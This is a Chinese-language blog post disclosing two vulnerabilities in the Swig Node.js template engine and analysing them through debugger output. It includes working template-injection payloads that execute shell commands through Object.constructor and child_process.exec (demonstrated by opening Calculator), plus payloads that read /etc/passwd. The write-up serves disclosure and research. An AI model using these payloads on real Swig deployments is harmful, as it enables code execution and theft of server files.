Swig模板引擎0day挖掘-代码执行和文件读取
2023-2-1 19:21:29 Author: www.gem-love.com(查看原文) 阅读量:25 收藏

Swig是一款Node.JS的模板引擎

官方文档: https://myvin.github.io/swig.zh-CN/index.html
Github: https://github.com/node-swig/swig-templates

之前一段时间挖过swig模板,发现了一个RCE,以及一个之前的任意文件读取,之前还用这个任意读漏洞出过CTF题。swig目前应该不更新了,所以一直留着,现在觉得留着也没啥卵用,就给他们提了issue,顺便水一篇博客(能再水个CVE编号就更好了)。

刚刚仔细检查了一下,旧版本叫swig,新版是swig-templates,漏洞都是存在的,然后我debug是用的swig,不过代码变化很小,尤其是核心的模板解析和渲染的部分都是一样的。

已提issue: https://github.com/node-swig/swig-templates/issues/89

poc

tpl.html

You need to ensure that the 1.html file exists
{% include "./1.html"+Object.constructor("global.process.mainModule.require('child_process').exec('open -a Calculator.app')")() %}

or just use /etc/passwd
{% include "/etc/passwd"+Object.constructor("global.process.mainModule.require('child_process').exec('open -a Calculator.app')")() %}

run.js

var swig = require('swig');
var output = swig.renderFile('/Users/bytedance/Desktop/swig/tpl.html');
console.log(output);

漏洞分析

模板渲染过程中,include.js会拼接代码

https://github.com/node-swig/swig-templates/blob/313bed1faa42e310d9dca4cd05d384439d26ec63/lib/tags/include.js#L39-L52

m1-174527_MKMDNr

拼接完的代码会给到out变量

https://github.com/node-swig/swig-templates/blob/313bed1faa42e310d9dca4cd05d384439d26ec63/lib/parser.js#L891-L899

m1-174748_5I19vi

之后out值为

_output += _swig.compileFile("/etc/passwd", {resolveFrom: "/Users/bytedance/Desktop/swig/tpl.html"})(_utils.extend({}, _ctx,  + (((((typeof _ctx.Object !== "undefined" && _ctx.Object !== null && _ctx.Object.constructor !== undefined && _ctx.Object.constructor !== null) ? ((typeof _ctx.Object !== "undefined" && _ctx.Object !== null && _ctx.Object.constructor !== undefined && _ctx.Object.constructor !== null) ? _ctx.Object.constructor : "") : ((typeof Object !== "undefined" && Object !== null && Object.constructor !== undefined && Object.constructor !== null) ? Object.constructor : "")) !== null ? ((typeof _ctx.Object !== "undefined" && _ctx.Object !== null && _ctx.Object.constructor !== undefined && _ctx.Object.constructor !== null) ? ((typeof _ctx.Object !== "undefined" && _ctx.Object !== null && _ctx.Object.constructor !== undefined && _ctx.Object.constructor !== null) ? _ctx.Object.constructor : "") : ((typeof Object !== "undefined" && Object !== null && Object.constructor !== undefined && Object.constructor !== null) ? Object.constructor : "")) : "" ) || _fn).call((((typeof _ctx.Object !== "undefined" && _ctx.Object !== null) ? ((typeof _ctx.Object !== "undefined" && _ctx.Object !== null) ? _ctx.Object : "") : ((typeof Object !== "undefined" && Object !== null) ? Object : "")) !== null ? ((typeof _ctx.Object !== "undefined" && _ctx.Object !== null) ? ((typeof _ctx.Object !== "undefined" && _ctx.Object !== null) ? _ctx.Object : "") : ((typeof Object !== "undefined" && Object !== null) ? Object : "")) : "" ), "global.process.mainModule.require('child_process').exec('open -a Calculator.app')") || _fn)()));

关于为什么会生成这样的out,主要是parser.js的checkMatch()
m1-175512_zokYOj

中间的逻辑很复杂,反正就是找属性、代码拼接,不好描述,这里不展开写了,整个call stack为:

checkMatch (/Users/bytedance/Desktop/swig/node_modules/swig/lib/parser.js:419)
parseVar (/Users/bytedance/Desktop/swig/node_modules/swig/lib/parser.js:386)
parseToken (/Users/bytedance/Desktop/swig/node_modules/swig/lib/parser.js:286)
<anonymous> (/Users/bytedance/Desktop/swig/node_modules/swig/lib/parser.js:86)
exports.each (/Users/bytedance/Desktop/swig/node_modules/swig/lib/utils.js:45)
TokenParser.parse (/Users/bytedance/Desktop/swig/node_modules/swig/lib/parser.js:76)
parseTag (/Users/bytedance/Desktop/swig/node_modules/swig/lib/parser.js:577)
<anonymous> (/Users/bytedance/Desktop/swig/node_modules/swig/lib/parser.js:640)
exports.each (/Users/bytedance/Desktop/swig/node_modules/swig/lib/utils.js:45)
exports.parse (/Users/bytedance/Desktop/swig/node_modules/swig/lib/parser.js:624)
parse (/Users/bytedance/Desktop/swig/node_modules/swig/lib/swig.js:354)
precompile (/Users/bytedance/Desktop/swig/node_modules/swig/lib/swig.js:486)
compile (/Users/bytedance/Desktop/swig/node_modules/swig/lib/swig.js:606)
compileFile (/Users/bytedance/Desktop/swig/node_modules/swig/lib/swig.js:696)
renderFile (/Users/bytedance/Desktop/swig/node_modules/swig/lib/swig.js:570)
<anonymous> (/Users/bytedance/Desktop/swig/run.js:2)
Module._compile (internal/modules/cjs/loader:1120)
Module._extensions..js (internal/modules/cjs/loader:1174)
Module.load (internal/modules/cjs/loader:998)
Module._load (internal/modules/cjs/loader:839)

最后生成的result值为如下代码的字符串形式:


(
(typeof _ctx.Object !== "undefined" && _ctx.Object !== null && _ctx.Object.constructor !== undefined && _ctx.Object.constructor !== null)
? (
(typeof _ctx.Object !== "undefined" && _ctx.Object !== null && _ctx.Object.constructor !== undefined && _ctx.Object.constructor !== null)
? _ctx.Object.constructor
: ""
)
: (
(typeof Object !== "undefined" && Object !== null && Object.constructor !== undefined && Object.constructor !== null)
? Object.constructor
: ""
)
)

这就很明朗了,很明显_ctx不存在Object属性,会走到三目运算符中:后面的逻辑,也就是:

(
(typeof Object !== "undefined" && Object !== null && Object.constructor !== undefined && Object.constructor !== null)
? Object.constructor
: ""
)

很明显Object是存在的,于是就最后就得到了Object.constructor,也就是Function()

接着刚才的说,out的值会被用来做一个匿名函数
m1-181326_JprIbA

Swig.Swig.compile.compiled处调用pre.tpl(),这个tpl()就是刚刚创建的匿名函数
m1-181726_0hQI88

跟进这个匿名函数,执行就会弹计算器:
m1-140208_EIzVeN

虽然很长,但是前面不用看,我们直接跟到中间的call方法,call前面的一大套还是相同的逻辑,只是多套了两层三目运算,最后返回的是依然是Object.constructorcall方法来源于Object.constructor || efn。其实根本不重要,因为不论是哪个函数,call方法最终都是继承自Function.prototype原型对象,然后call的第一个参数就是上面分析的Object.constructor,也就是Function(),第二个参数就是函数体
m1-183536_8QVymK

于是乎顺理成章的通过Object.constructor创建了如下匿名函数:

(function anonymous(
) {
global.process.mainModule.require('child_process').exec('open -a Calculator.app')
})

接着就走到了下一个()对上述匿名函数做调用,成功逃逸沙箱,代码执行就发生了
m1-182324_urOmnJ

已提issue: https://github.com/node-swig/swig-templates/issues/88

根据文档:

swig可以扩展模板,或包含模板,但对路径和后缀名没有做校验,因此可以实现任意文件读取

poc:

{% extends '/etc/passwd' %}
{% include '/etc/passwd' %}

比较简单,就不详细分析了,就是直接取到路径然后读文件然后拼接到结果的_output

Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.


文章来源: https://www.gem-love.com/2023/02/01/Swig%E6%A8%A1%E6%9D%BF%E5%BC%95%E6%93%8E0day%E6%8C%96%E6%8E%98-%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E5%92%8C%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96/
如有侵权请联系:admin#unsafe.sh